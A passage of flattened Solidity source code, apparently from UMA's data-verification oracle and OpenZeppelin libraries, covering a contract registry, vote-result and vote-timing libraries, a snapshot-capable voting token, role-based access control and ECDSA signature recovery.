address[] public registeredContracts;
// Map of financial contract contracts to the associated FinancialContract struct.
mapping(address => FinancialContract) public contractMap;
// Map each party member to their their associated Party struct.
mapping(address => Party) private partyMap;
/****************************************
* EVENTS *
****************************************/
event NewContractRegistered(address indexed contractAddress, address indexed creator, address[] parties);
event PartyAdded(address indexed contractAddress, address indexed party);
event PartyRemoved(address indexed contractAddress, address indexed party);
/**
* @notice Construct the Registry contract.
*/
constructor() public {
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender);
// Start with no contract creators registered.
_createSharedRole(uint256(Roles.ContractCreator), uint256(Roles.Owner), new address[](0));
}
/****************************************
* REGISTRATION FUNCTIONS *
****************************************/
/**
* @notice Registers a new financial contract.
* @dev Only authorized contract creators can call this method.
* @param parties array of addresses who become parties in the contract.
* @param contractAddress address of the contract against which the parties are registered.
*/
function registerContract(address[] calldata parties, address contractAddress)
external
override
onlyRoleHolder(uint256(Roles.ContractCreator))
{
FinancialContract storage financialContract = contractMap[contractAddress];
require(contractMap[contractAddress].valid == Validity.Invalid, "Can only register once");
// Store contract address as a registered contract.
registeredContracts.push(contractAddress);
// No length check necessary because we should never hit (2^127 - 1) contracts.
financialContract.index = uint128(registeredContracts.length.sub(1));
// For all parties in the array add them to the contract's parties.
financialContract.valid = Validity.Valid;
for (uint256 i = 0; i < parties.length; i = i.add(1)) {
_addPartyToContract(parties[i], contractAddress);
}
emit NewContractRegistered(contractAddress, msg.sender, parties);
}
/**
* @notice Adds a party member to the calling contract.
* @dev msg.sender will be used to determine the contract that this party is added to.
* @param party new party for the calling contract.
*/
function addPartyToContract(address party) external override {
address contractAddress = msg.sender;
require(contractMap[contractAddress].valid == Validity.Valid, "Can only add to valid contract");
_addPartyToContract(party, contractAddress);
}
/**
* @notice Removes a party member from the calling contract.
* @dev msg.sender will be used to determine the contract that this party is removed from.
* @param partyAddress address to be removed from the calling contract.
*/
function removePartyFromContract(address partyAddress) external override {
address contractAddress = msg.sender;
Party storage party = partyMap[partyAddress];
uint256 numberOfContracts = party.contracts.length;
require(numberOfContracts != 0, "Party has no contracts");
require(contractMap[contractAddress].valid == Validity.Valid, "Remove only from valid contract");
require(isPartyMemberOfContract(partyAddress, contractAddress), "Can only remove existing party");
// Index of the current location of the contract to remove.
uint256 deleteIndex = party.contractIndex[contractAddress];
// Store the last contract's address to update the lookup map.
address lastContractAddress = party.contracts[numberOfContracts - 1];
// Swap the contract to be removed with the last contract.
party.contracts[deleteIndex] = lastContractAddress;
// Update the lookup index with the new location.
party.contractIndex[lastContractAddress] = deleteIndex;
// Pop the last contract from the array and update the lookup map.
party.contracts.pop();
delete party.contractIndex[contractAddress];
emit PartyRemoved(contractAddress, partyAddress);
}
/****************************************
* REGISTRY STATE GETTERS *
****************************************/
/**
* @notice Returns whether the contract has been registered with the registry.
* @dev If it is registered, it is an authorized participant in the UMA system.
* @param contractAddress address of the financial contract.
* @return bool indicates whether the contract is registered.
*/
function isContractRegistered(address contractAddress) external view override returns (bool) {
return contractMap[contractAddress].valid == Validity.Valid;
}
/**
* @notice Returns a list of all contracts that are associated with a particular party.
* @param party address of the party.
* @return an array of the contracts the party is registered to.
*/
function getRegisteredContracts(address party) external view override returns (address[] memory) {
return partyMap[party].contracts;
}
/**
* @notice Returns all registered contracts.
* @return all registered contract addresses within the system.
*/
function getAllRegisteredContracts() external view override returns (address[] memory) {
return registeredContracts;
}
/**
* @notice checks if an address is a party of a contract.
* @param party party to check.
* @param contractAddress address to check against the party.
* @return bool indicating if the address is a party of the contract.
*/
function isPartyMemberOfContract(address party, address contractAddress) public view override returns (bool) {
uint256 index = partyMap[party].contractIndex[contractAddress];
return partyMap[party].contracts.length > index && partyMap[party].contracts[index] == contractAddress;
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
function _addPartyToContract(address party, address contractAddress) internal {
require(!isPartyMemberOfContract(party, contractAddress), "Can only register a party once");
uint256 contractIndex = partyMap[party].contracts.length;
partyMap[party].contracts.push(contractAddress);
partyMap[party].contractIndex[contractAddress] = contractIndex;
emit PartyAdded(contractAddress, party);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../../common/implementation/FixedPoint.sol";
/**
* @title Computes vote results.
* @dev The result is the mode of the added votes. Otherwise, the vote is unresolved.
*/
library ResultComputation {
using FixedPoint for FixedPoint.Unsigned;
/****************************************
* INTERNAL LIBRARY DATA STRUCTURE *
****************************************/
struct Data {
// Maps price to number of tokens that voted for that price.
mapping(int256 => FixedPoint.Unsigned) voteFrequency;
// The total votes that have been added.
FixedPoint.Unsigned totalVotes;
// The price that is the current mode, i.e., the price with the highest frequency in `voteFrequency`.
int256 currentMode;
}
/****************************************
* VOTING FUNCTIONS *
****************************************/
/**
* @notice Adds a new vote to be used when computing the result.
* @param data contains information to which the vote is applied.
* @param votePrice value specified in the vote for the given `numberTokens`.
* @param numberTokens number of tokens that voted on the `votePrice`.
*/
function addVote(
Data storage data,
int256 votePrice,
FixedPoint.Unsigned memory numberTokens
) internal {
data.totalVotes = data.totalVotes.add(numberTokens);
data.voteFrequency[votePrice] = data.voteFrequency[votePrice].add(numberTokens);
if (
votePrice != data.currentMode &&
data.voteFrequency[votePrice].isGreaterThan(data.voteFrequency[data.currentMode])
) {
data.currentMode = votePrice;
}
}
/****************************************
* VOTING STATE GETTERS *
****************************************/
/**
* @notice Returns whether the result is resolved, and if so, what value it resolved to.
* @dev `price` should be ignored if `isResolved` is false.
* @param data contains information against which the `minVoteThreshold` is applied.
* @param minVoteThreshold min (exclusive) number of tokens that must have voted for the result to be valid. Can be
* used to enforce a minimum voter participation rate, regardless of how the votes are distributed.
* @return isResolved indicates if the price has been resolved correctly.
* @return price the price that the dvm resolved to.
*/
function getResolvedPrice(Data storage data, FixedPoint.Unsigned memory minVoteThreshold)
internal
view
returns (bool isResolved, int256 price)
{
FixedPoint.Unsigned memory modeThreshold = FixedPoint.fromUnscaledUint(50).div(100);
if (
data.totalVotes.isGreaterThan(minVoteThreshold) &&
data.voteFrequency[data.currentMode].div(data.totalVotes).isGreaterThan(modeThreshold)
) {
// `modeThreshold` and `minVoteThreshold` are exceeded, so the current mode is the resolved price.
isResolved = true;
price = data.currentMode;
} else {
isResolved = false;
}
}
/**
* @notice Checks whether a `voteHash` is considered correct.
* @dev Should only be called after a vote is resolved, i.e., via `getResolvedPrice`.
* @param data contains information against which the `voteHash` is checked.
* @param voteHash committed hash submitted by the voter.
* @return bool true if the vote was correct.
*/
function wasVoteCorrect(Data storage data, bytes32 voteHash) internal view returns (bool) {
return voteHash == keccak256(abi.encode(data.currentMode));
}
/**
* @notice Gets the total number of tokens whose votes are considered correct.
* @dev Should only be called after a vote is resolved, i.e., via `getResolvedPrice`.
* @param data contains all votes against which the correctly voted tokens are counted.
* @return FixedPoint.Unsigned which indicates the frequency of the correctly voted tokens.
*/
function getTotalCorrectlyVotedTokens(Data storage data) internal view returns (FixedPoint.Unsigned memory) {
return data.voteFrequency[data.currentMode];
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../interfaces/VotingInterface.sol";
/**
* @title Library to compute rounds and phases for an equal length commit-reveal voting cycle.
*/
library VoteTiming {
using SafeMath for uint256;
struct Data {
uint256 phaseLength;
}
/**
* @notice Initializes the data object. Sets the phase length based on the input.
*/
function init(Data storage data, uint256 phaseLength) internal {
// This should have a require message but this results in an internal Solidity error.
require(phaseLength > 0);
data.phaseLength = phaseLength;
}
/**
* @notice Computes the roundID based off the current time as floor(timestamp/roundLength).
* @dev The round ID depends on the global timestamp but not on the lifetime of the system.
* The consequence is that the initial round ID starts at an arbitrary number (that increments, as expected, for subsequent rounds) instead of zero or one.
* @param data input data object.
* @param currentTime input unix timestamp used to compute the current roundId.
* @return roundId defined as a function of the currentTime and `phaseLength` from `data`.
*/
function computeCurrentRoundId(Data storage data, uint256 currentTime) internal view returns (uint256) {
uint256 roundLength = data.phaseLength.mul(uint256(VotingAncillaryInterface.Phase.NUM_PHASES_PLACEHOLDER));
return currentTime.div(roundLength);
}
/**
* @notice compute the round end time as a function of the round Id.
* @param data input data object.
* @param roundId uniquely identifies the current round.
* @return timestamp unix time of when the current round will end.
*/
function computeRoundEndTime(Data storage data, uint256 roundId) internal view returns (uint256) {
uint256 roundLength = data.phaseLength.mul(uint256(VotingAncillaryInterface.Phase.NUM_PHASES_PLACEHOLDER));
return roundLength.mul(roundId.add(1));
}
/**
* @notice Computes the current phase based only on the current time.
* @param data input data object.
* @param currentTime input unix timestamp used to compute the current roundId.
* @return current voting phase based on current time and vote phases configuration.
*/
function computeCurrentPhase(Data storage data, uint256 currentTime)
internal
view
returns (VotingAncillaryInterface.Phase)
{
// This employs some hacky casting. We could make this an if-statement if we're worried about type safety.
return
VotingAncillaryInterface.Phase(
currentTime.div(data.phaseLength).mod(uint256(VotingAncillaryInterface.Phase.NUM_PHASES_PLACEHOLDER))
);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../../common/implementation/ExpandedERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Snapshot.sol";
/**
* @title Ownership of this token allows a voter to respond to price requests.
* @dev Supports snapshotting and allows the Oracle to mint new tokens as rewards.
*/
contract VotingToken is ExpandedERC20, ERC20Snapshot {
/**
* @notice Constructs the VotingToken.
*/
constructor() public ExpandedERC20("UMA Voting Token v1", "UMA", 18) {}
/**
* @notice Creates a new snapshot ID.
* @return uint256 Thew new snapshot ID.
*/
function snapshot() external returns (uint256) {
return _snapshot();
}
// _transfer, _mint and _burn are ERC20 internal methods that are overridden by ERC20Snapshot,
// therefore the compiler will complain that VotingToken must override these methods
// because the two base classes (ERC20 and ERC20Snapshot) both define the same functions
function _transfer(
address from,
address to,
uint256 value
) internal override(ERC20, ERC20Snapshot) {
super._transfer(from, to, value);
}
function _mint(address account, uint256 value) internal override(ERC20, ERC20Snapshot) {
super._mint(account, value);
}
function _burn(address account, uint256 value) internal override(ERC20, ERC20Snapshot) {
super._burn(account, value);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Stores common interface names used throughout the DVM by registration in the Finder.
*/
library OracleInterfaces {
bytes32 public constant Oracle = "Oracle";
bytes32 public constant IdentifierWhitelist = "IdentifierWhitelist";
bytes32 public constant Store = "Store";
bytes32 public constant FinancialContractsAdmin = "FinancialContractsAdmin";
bytes32 public constant Registry = "Registry";
bytes32 public constant CollateralWhitelist = "CollateralWhitelist";
bytes32 public constant OptimisticOracle = "OptimisticOracle";
}
pragma solidity ^0.6.0;
import "../GSN/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.6.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
revert("ECDSA: invalid signature 's' value");
}
if (v != 27 && v != 28) {
revert("ECDSA: invalid signature 'v' value");
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
library Exclusive {
struct RoleMembership {
address member;
}
function isMember(RoleMembership storage roleMembership, address memberToCheck) internal view returns (bool) {
return roleMembership.member == memberToCheck;
}
function resetMember(RoleMembership storage roleMembership, address newMember) internal {
require(newMember != address(0x0), "Cannot set an exclusive role to 0x0");
roleMembership.member = newMember;
}
function getMember(RoleMembership storage roleMembership) internal view returns (address) {
return roleMembership.member;
}
function init(RoleMembership storage roleMembership, address initialMember) internal {
resetMember(roleMembership, initialMember);
}
}
library Shared {
struct RoleMembership {
mapping(address => bool) members;
}
function isMember(RoleMembership storage roleMembership, address memberToCheck) internal view returns (bool) {
return roleMembership.members[memberToCheck];
}
function addMember(RoleMembership storage roleMembership, address memberToAdd) internal {
require(memberToAdd != address(0x0), "Cannot add 0x0 to a shared role");
roleMembership.members[memberToAdd] = true;
}
function removeMember(RoleMembership storage roleMembership, address memberToRemove) internal {
roleMembership.members[memberToRemove] = false;
}
function init(RoleMembership storage roleMembership, address[] memory initialMembers) internal {
for (uint256 i = 0; i < initialMembers.length; i++) {
addMember(roleMembership, initialMembers[i]);
}
}
}
/**
* @title Base class to manage permissions for the derived class.
*/
abstract contract MultiRole {
using Exclusive for Exclusive.RoleMembership;
using Shared for Shared.RoleMembership;
enum RoleType { Invalid, Exclusive, Shared }
struct Role {
uint256 managingRole;
RoleType roleType;
Exclusive.RoleMembership exclusiveRoleMembership;
Shared.RoleMembership sharedRoleMembership;
}
mapping(uint256 => Role) private roles;
event ResetExclusiveMember(uint256 indexed roleId, address indexed newMember, address indexed manager);
event AddedSharedMember(uint256 indexed roleId, address indexed newMember, address indexed manager);
event RemovedSharedMember(uint256 indexed roleId, address indexed oldMember, address indexed manager);
/**
* @notice Reverts unless the caller is a member of the specified roleId.
*/
modifier onlyRoleHolder(uint256 roleId) {
require(holdsRole(roleId, msg.sender), "Sender does not hold required role");
_;
}
/**
* @notice Reverts unless the caller is a member of the manager role for the specified roleId.
*/
modifier onlyRoleManager(uint256 roleId) {
require(holdsRole(roles[roleId].managingRole, msg.sender), "Can only be called by a role manager");
_;
}
/**
* @notice Reverts unless the roleId represents an initialized, exclusive roleId.
*/
modifier onlyExclusive(uint256 roleId) {
require(roles[roleId].roleType == RoleType.Exclusive, "Must be called on an initialized Exclusive role");
_;
}
/**
* @notice Reverts unless the roleId represents an initialized, shared roleId.
*/
modifier onlyShared(uint256 roleId) {
require(roles[roleId].roleType == RoleType.Shared, "Must be called on an initialized Shared role");
_;
}
/**
* @notice Whether `memberToCheck` is a member of roleId.
* @dev Reverts if roleId does not correspond to an initialized role.
* @param roleId the Role to check.
* @param memberToCheck the address to check.
* @return True if `memberToCheck` is a member of `roleId`.
*/
function holdsRole(uint256 roleId, address memberToCheck) public view returns (bool) {
Role storage role = roles[roleId];
if (role.roleType == RoleType.Exclusive) {
return role.exclusiveRoleMembership.isMember(memberToCheck);
} else if (role.roleType == RoleType.Shared) {
return role.sharedRoleMembership.isMember(memberToCheck);
}
revert("Invalid roleId");
}
/**
* @notice Changes the exclusive role holder of `roleId` to `newMember`.
* @dev Reverts if the caller is not a member of the managing role for `roleId` or if `roleId` is not an
* initialized, ExclusiveRole.
* @param roleId the ExclusiveRole membership to modify.
* @param newMember the new ExclusiveRole member.
*/
function resetMember(uint256 roleId, address newMember) public onlyExclusive(roleId) onlyRoleManager(roleId) {
roles[roleId].exclusiveRoleMembership.resetMember(newMember);
emit ResetExclusiveMember(roleId, newMember, msg.sender);
}
/**
* @notice Gets the current holder of the exclusive role, `roleId`.
* @dev Reverts if `roleId` does not represent an initialized, exclusive role.
* @param roleId the ExclusiveRole membership to check.
* @return the address of the current ExclusiveRole member.
*/
function getMember(uint256 roleId) public view onlyExclusive(roleId) returns (address) {
return roles[roleId].exclusiveRoleMembership.getMember();
}
/**
* @notice Adds `newMember` to the shared role, `roleId`.
* @dev Reverts if `roleId` does not represent an initialized, SharedRole or if the caller is not a member of the
* managing role for `roleId`.
* @param roleId the SharedRole membership to modify.
* @param newMember the new SharedRole member.
*/
function addMember(uint256 roleId, address newMember) public onlyShared(roleId) onlyRoleManager(roleId) {
roles[roleId].sharedRoleMembership.addMember(newMember);
emit AddedSharedMember(roleId, newMember, msg.sender);
}
/**
* @notice Removes `memberToRemove` from the shared role, `roleId`.
* @dev Reverts if `roleId` does not represent an initialized, SharedRole or if the caller is not a member of the
* managing role for `roleId`.
* @param roleId the SharedRole membership to modify.
* @param memberToRemove the current SharedRole member to remove.
*/
function removeMember(uint256 roleId, address memberToRemove) public onlyShared(roleId) onlyRoleManager(roleId) {
roles[roleId].sharedRoleMembership.removeMember(memberToRemove);
emit RemovedSharedMember(roleId, memberToRemove, msg.sender);
}
/**
* @notice Removes caller from the role, `roleId`.
* @dev Reverts if the caller is not a member of the role for `roleId` or if `roleId` is not an
* initialized, SharedRole.
* @param roleId the SharedRole membership to modify.
*/
function renounceMembership(uint256 roleId) public onlyShared(roleId) onlyRoleHolder(roleId) {
roles[roleId].sharedRoleMembership.removeMember(msg.sender);
emit RemovedSharedMember(roleId, msg.sender, msg.sender);
}
/**
* @notice Reverts if `roleId` is not initialized.
*/
modifier onlyValidRole(uint256 roleId) {
require(roles[roleId].roleType != RoleType.Invalid, "Attempted to use an invalid roleId");
_;
}
/**
* @notice Reverts if `roleId` is initialized.
*/
modifier onlyInvalidRole(uint256 roleId) {
require(roles[roleId].roleType == RoleType.Invalid, "Cannot use a pre-existing role");
_;
}
/**
* @notice Internal method to initialize a shared role, `roleId`, which will be managed by `managingRoleId`.
* `initialMembers` will be immediately added to the role.
* @dev Should be called by derived contracts, usually at construction time. Will revert if the role is already
* initialized.
*/
function _createSharedRole(
uint256 roleId,
uint256 managingRoleId,
address[] memory initialMembers
) internal onlyInvalidRole(roleId) {
Role storage role = roles[roleId];
role.roleType = RoleType.Shared;
role.managingRole = managingRoleId;
role.sharedRoleMembership.init(initialMembers);
require(
roles[managingRoleId].roleType != RoleType.Invalid,
"Attempted to use an invalid role to manage a shared role"
);
}
/**
* @notice Internal method to initialize an exclusive role, `roleId`, which will be managed by `managingRoleId`.
* `initialMember` will be immediately added to the role.
* @dev Should be called by derived contracts, usually at construction time. Will revert if the role is already
* initialized.
*/
function _createExclusiveRole(
uint256 roleId,
uint256 managingRoleId,
address initialMember
) internal onlyInvalidRole(roleId) {
Role storage role = roles[roleId];
role.roleType = RoleType.Exclusive;
role.managingRole = managingRoleId;
role.exclusiveRoleMembership.init(initialMember);
require(
roles[managingRoleId].roleType != RoleType.Invalid,
"Attempted to use an invalid role to manage an exclusive role"
);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/**
* @title Interface for a registry of contracts and contract creators.
*/
interface RegistryInterface {
/**
* @notice Registers a new contract.
* @dev Only authorized contract creators can call this method.
* @param parties an array of addresses who become parties in the contract.
* @param contractAddress defines the address of the deployed contract.
*/
function registerContract(address[] calldata parties, address contractAddress) external;
/**
* @notice Returns whether the contract has been registered with the registry.
* @dev If it is registered, it is an authorized participant in the UMA system.
* @param contractAddress address of the contract.
* @return bool indicates whether the contract is registered.
*/
function isContractRegistered(address contractAddress) external view returns (bool);
/**
* @notice Returns a list of all contracts that are associated with a particular party.
* @param party address of the party.
* @return an array of the contracts the party is registered to.
*/
function getRegisteredContracts(address party) external view returns (address[] memory);
/**
* @notice Returns all registered contracts.
* @return all registered contract addresses within the system.
*/
function getAllRegisteredContracts() external view returns (address[] memory);
/**
* @notice Adds a party to the calling contract.
* @dev msg.sender must be the contract to which the party member is added.
* @param party address to be added to the contract.
*/
function addPartyToContract(address party) external;
/**
* @notice Removes a party member to the calling contract.
* @dev msg.sender must be the contract to which the party member is added.
* @param party address to be removed from the contract.
*/
function removePartyFromContract(address party) external;
/**
* @notice checks if an address is a party in a contract.
* @param party party to check.
* @param contractAddress address to check against the party.
* @return bool indicating if the address is a party of the contract.
*/
function isPartyMemberOfContract(address party, address contractAddress) external view returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./MultiRole.sol";
import "../interfaces/ExpandedIERC20.sol";
/**
* @title An ERC20 with permissioned burning and minting. The contract deployer will initially
* be the owner who is capable of adding new roles.
*/
contract ExpandedERC20 is ExpandedIERC20, ERC20, MultiRole {
enum Roles {
// Can set the minter and burner.
Owner,
// Addresses that can mint new tokens.
Minter,
// Addresses that can burn tokens that address owns.
Burner
}
/**
* @notice Constructs the ExpandedERC20.
* @param _tokenName The name which describes the new token.
* @param _tokenSymbol The ticker abbreviation of the name. Ideally < 5 chars.
* @param _tokenDecimals The number of decimals to define token precision.
*/
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint8 _tokenDecimals
) public ERC20(_tokenName, _tokenSymbol) {
_setupDecimals(_tokenDecimals);
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender);
_createSharedRole(uint256(Roles.Minter), uint256(Roles.Owner), new address[](0));
_createSharedRole(uint256(Roles.Burner), uint256(Roles.Owner), new address[](0));
}
/**
* @dev Mints `value` tokens to `recipient`, returning true on success.
* @param recipient address to mint to.
* @param value amount of tokens to mint.
* @return True if the mint succeeded, or False.
*/
function mint(address recipient, uint256 value)
external
override
onlyRoleHolder(uint256(Roles.Minter))
returns (bool)
{
_mint(recipient, value);
return true;
}
/**
* @dev Burns `value` tokens owned by `msg.sender`.
* @param value amount of tokens to burn.
*/
function burn(uint256 value) external override onlyRoleHolder(uint256(Roles.Burner)) {
_burn(msg.sender, value);
}
/**
* @notice Add Minter role to account.
* @dev The caller must have the Owner role.
* @param account The address to which the Minter role is added.
*/
function addMinter(address account) external virtual override {
addMember(uint256(Roles.Minter), account);
}
/**
* @notice Add Burner role to account.
* @dev The caller must have the Owner role.
* @param account The address to which the Burner role is added.
*/
function addBurner(address account) external virtual override {
addMember(uint256(Roles.Burner), account);
}
/**
* @notice Reset Owner role to account.
* @dev The caller must have the Owner role.
* @param account The new holder of the Owner role.
*/
function resetOwner(address account) external virtual override {
resetMember(uint256(Roles.Owner), account);
}
}
pragma solidity ^0.6.0;
import "../../math/SafeMath.sol";
import "../../utils/Arrays.sol";
import "../../utils/Counters.sol";
import "./ERC20.sol";
/**
* @dev This contract extends an ERC20 token with a snapshot mechanism. When a snapshot is created, the balances and
* total supply at the time are recorded for later access.
*
* This can be used to safely create mechanisms based on token balances such as trustless dividends or weighted voting.
* In naive implementations it's possible to perform a "double spend" attack by reusing the same balance from different
* accounts. By using snapshots to calculate dividends or voting power, those attacks no longer apply. It can also be
* used to create an efficient ERC20 forking mechanism.
*
* Snapshots are created by the internal {_snapshot} function, which will emit the {Snapshot} event and return a
* snapshot id. To get the total supply at the time of a snapshot, call the function {totalSupplyAt} with the snapshot
* id. To get the balance of an account at the time of a snapshot, call the {balanceOfAt} function with the snapshot id
* and the account address.
*
* ==== Gas Costs
*
* Snapshots are efficient. Snapshot creation is _O(1)_. Retrieval of balances or total supply from a snapshot is _O(log
* n)_ in the number of snapshots that have been created, although _n_ for a specific account will generally be much
* smaller since identical balances in subsequent snapshots are stored as a single entry.
*
* There is a constant overhead for normal ERC20 transfers due to the additional snapshot bookkeeping. This overhead is
* only significant for the first transfer that immediately follows a snapshot for a particular account. Subsequent
* transfers will have normal cost until the next snapshot, and so on.
*/
abstract contract ERC20Snapshot is ERC20 {
// Inspired by Jordi Baylina's MiniMeToken to record historical balances:
// https://github.com/Giveth/minimd/blob/ea04d950eea153a04c51fa510b068b9dded390cb/contracts/MiniMeToken.sol
using SafeMath for uint256;
using Arrays for uint256[];
using Counters for Counters.Counter;
// Snapshotted values have arrays of ids and the value corresponding to that id. These could be an array of a
// Snapshot struct, but that would impede usage of functions that work on an array.
struct Snapshots {
uint256[] ids;
uint256[] values;
}
mapping (address => Snapshots) private _accountBalanceSnapshots;
Snapshots private _totalSupplySnapshots;
// Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid.
Counters.Counter private _currentSnapshotId;
/**
* @dev Emitted by {_snapshot} when a snapshot identified by `id` is created.
*/
event Snapshot(uint256 id);
/**
* @dev Creates a new snapshot and returns its snapshot id.
*
* Emits a {Snapshot} event that contains the same id.
*
* {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a
* set of accounts, for example using {AccessControl}, or it may be open to the public.
*
* [WARNING]
* ====
* While an open way of calling {_snapshot} is required for certain trust minimization mechanisms such as forking,
* you must consider that it can potentially be used by attackers in two ways.
*
* First, it can be used to increase the cost of retrieval of values from snapshots, although it will grow
* logarithmically thus rendering this attack ineffective in the long term. Second, it can be used to target
* specific accounts and increase the cost of ERC20 transfers for them, in the ways specified in the Gas Costs
* section above.
*
* We haven't measured the actual numbers; if this is something you're interested in please reach out to us.
* ====
*/
function _snapshot() internal virtual returns (uint256) {
_currentSnapshotId.increment();
uint256 currentId = _currentSnapshotId.current();
emit Snapshot(currentId);
return currentId;
}
/**
* @dev Retrieves the balance of `account` at the time `snapshotId` was created.
*/
function balanceOfAt(address account, uint256 snapshotId) public view returns (uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]);
return snapshotted ? value : balanceOf(account);
}
/**
* @dev Retrieves the total supply at the time `snapshotId` was created.
*/
function totalSupplyAt(uint256 snapshotId) public view returns(uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots);
return snapshotted ? value : totalSupply();
}
// _transfer, _mint and _burn are the only functions where the balances are modified, so it is there that the
// snapshots are updated. Note that the update happens _before_ the balance change, with the pre-modified value.
// The same is true for the total supply and _mint and _burn.
function _transfer(address from, address to, uint256 value) internal virtual override {
_updateAccountSnapshot(from);
_updateAccountSnapshot(to);
super._transfer(from, to, value);
}
function _mint(address account, uint256 value) internal virtual override {
_updateAccountSnapshot(account);
_updateTotalSupplySnapshot();
super._mint(account, value);
}
function _burn(address account, uint256 value) internal virtual override {
_updateAccountSnapshot(account);
_updateTotalSupplySnapshot();
super._burn(account, value);
}
function _valueAt(uint256 snapshotId, Snapshots storage snapshots)
private view returns (bool, uint256)
{
require(snapshotId > 0, "ERC20Snapshot: id is 0");
// solhint-disable-next-line max-line-length
require(snapshotId <= _currentSnapshotId.current(), "ERC20Snapshot: nonexistent id");
// When a valid snapshot is queried, there are three possibilities:
// a) The queried value was not modified after the snapshot was taken. Therefore, a snapshot entry was never
// created for this id, and all stored snapshot ids are smaller than the requested one. The value that corresponds
// to this id is the current one.
// b) The queried value was modified after the snapshot was taken. Therefore, there will be an entry with the
// requested id, and its value is the one to return.
// c) More snapshots were created after the requested one, and the queried value was later modified. There will be
// no entry for the requested id: the value that corresponds to it is that of the smallest snapshot id that is
// larger than the requested one.
//
// In summary, we need to find an element in an array, returning the index of the smallest value that is larger if
// it is not found, unless said value doesn't exist (e.g. when all values are smaller). Arrays.findUpperBound does
// exactly this.
